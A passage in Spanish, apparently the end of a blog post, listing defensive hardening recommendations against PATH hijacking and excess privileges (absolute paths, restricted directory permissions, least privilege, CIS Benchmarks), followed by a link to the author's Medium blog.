PATHdel sistema para ejecutar archivos críticos. Usar rutas absolutas, validar y controlar las rutas de ejecución y limitar los permisos de los directorios. Además, evitar que usuarios con menos privilegios puedan modificar archivos o directorios incluidos en elPATH. - Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com